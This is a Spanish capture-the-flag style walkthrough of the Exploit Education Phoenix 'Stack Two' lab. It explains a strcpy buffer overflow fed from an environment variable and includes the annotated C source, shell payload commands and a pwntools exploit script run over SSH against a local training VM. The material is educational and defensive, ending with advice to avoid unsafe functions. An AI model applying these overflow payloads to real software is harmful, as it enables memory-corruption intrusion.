Stack Two
Exploit Education > Phoenix > Stack Two
En Stack Two se introduce el uso de variables de entorno y cómo pueden ser manipuladas para explotar un desbordamiento de buffer.
Análisis del código fuente
El objetivo es modificar la variable changeme con el valor 0x0d0a090a Para lograrlo, el programa copia sin validación el contenido de la variable de entorno ExploitEducation al buffer locals.buffer, lo que abre la puerta a un buffer overflow.
/*
* phoenix/stack-two, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* If you're Russian to get to the bathroom, and you are Finnish when you get
* out, what are you when you are in the bathroom?
*
* European!
*/
#include <err.h> // Biblioteca para manejo de errores (errx).
#include <stdio.h> // Biblioteca estándar para entrada/salida.
#include <stdlib.h> // Biblioteca estándar para funciones generales como getenv() y exit().
#include <string.h> // Biblioteca para funciones de manipulación de cadenas como strcpy().
#include <unistd.h> // Biblioteca para funciones del sistema operativo POSIX.
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
// Define un mensaje constante que se mostrará al inicio del programa.
int main(int argc, char **argv) {
// Función principal, recibe argumentos de línea de comandos.
struct {
char buffer[64]; // Define un buffer de 64 bytes para almacenar datos.
volatile int changeme; // Variable que debe modificarse mediante un exploit.
} locals; // Agrupa estas variables dentro de la estructura 'locals'.
char *ptr;
// Apuntador para almacenar el valor de una variable de entorno.
printf("%s\n", BANNER);
// Imprime el mensaje de bienvenida definido en BANNER.
ptr = getenv("ExploitEducation");
// Obtiene el valor de la variable de entorno "ExploitEducation".
if (ptr == NULL) {
// Verifica si la variable de entorno no está configurada.
errx(1, "please set the ExploitEducation environment variable");
// Muestra un mensaje de error y termina el programa con el código de salida 1.
}
locals.changeme = 0;
// Inicializa la variable 'changeme' con el valor 0.
strcpy(locals.buffer, ptr);
// Copia el contenido de la variable de entorno "ExploitEducation" en el buffer 'buffer'.
// Vulnerabilidad: No verifica el tamaño del contenido, lo que permite un desbordamiento de buffer.
if (locals.changeme == 0x0d0a090a) {
// Comprueba si el valor de 'changeme' coincide con el objetivo: 0x0d0a090a.
puts("Well done, you have successfully set changeme to the correct value");
// Si el valor es correcto, imprime un mensaje de éxito.
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n", locals.changeme);
// Si el valor no es el esperado, imprime el valor actual de 'changeme' y el valor deseado.
}
exit(0);
// Termina el programa correctamente con el código de salida 0.
}
Ejecución del binario
Si ejecutamos el binario sin definir la variable de entorno, aparece un mensaje de error que nos dice: Por favor, configure la variable de entorno ExploitEducation.
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
stack-two: please set the ExploitEducation environment variable
Al definir la variable con 64 caracteres de A vemos que con esto ya nos da la respuesta de que la variable está en 0x00000000
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x00000000, we want 0x0d0a090a
Confirmando el overflow
Si añadimos BBBB (0x42 en ASCII) después de los 64 A, el valor de changeme cambia a 0x42424242 esto confirma que estamos sobreescribiendo la variable.
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x42424242, we want 0x0d0a090a
Explotación
Ahora sobreescribimos con el valor solicitado 0x0d0a090a cuidando el endianness (little-endian en x86): \x0A\x09\x0A\x0D y con esto confirmamos que se logra el reto
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c 'print "A"*64 + "\x0A\x09\x0A\x0D"')
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Explotación con Pwntools
También podemos automatizar este proceso con un script en Python
┌──(root㉿angussMoody)-[/mnt/angussMoody/PWN/Phoenix/2_stack-two]
└─# cat Remote_exploit.py
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Remote_exploit.py
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env python3
2 │ from pwn import *
3 │
4 │ # Define el payload
5 │ payload = b"A" * 64
6 │ payload += p32(0x0d0a090a)
7 │
8 │ # Establece conexión SSH
9 │ ssh_connection = ssh(user='user', host='localhost', password='user', port=2222)
10 │
11 │ # Configura la variable de entorno 'ExploitEducation'
12 │ env_vars = {"ExploitEducation": payload}
13 │
14 │ # Ejecuta el programa remoto con la variable de entorno configurada
15 │ process = ssh_connection.process(executable='/opt/phoenix/amd64/stack-two', env=env_vars)
16 │
17 │ # Captura y muestra la salida
18 │ flag = process.recvall().decode()
19 │ log.success("Output: " + flag)
20 │
21 │ # Cierra la conexión
22 │ process.close()
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────
Resultado final
Se evidencia el mensaje que indica que el reto fue resuelto
┌──(root㉿angussMoody)-[/mnt/angussMoody/PWN/Phoenix/2_stack-two]
└─# python3 Remote_exploit.py
[+] Connecting to localhost on port 2222: Done
[*] user@localhost:
Distro Unknown
OS: linux
Arch: amd64
Version: 4.9.0
ASLR: Disabled
SHSTK: Disabled
IBT: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Starting remote process '/opt/phoenix/amd64/stack-two' on localhost: pid 583
[!] ASLR is disabled for '/opt/phoenix/amd64/stack-two'!
[+] Receiving all data: Done (141B)
[*] Stopped remote process 'stack-two' on localhost (pid 583)
[+] Output: Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Conclusión
En Stack Two vimos cómo una variable de entorno puede ser aprovechada para provocar un desbordamiento de buffer y modificar variables internas del programa.
El reto refuerza dos ideas clave:
-
Las funciones inseguras como strcpy deben evitarse.
-
Variables de entorno pueden ser un vector de ataque si no se validan correctamente.
-
Con esta técnica pudimos manipular la variable changeme y completar el reto con éxito.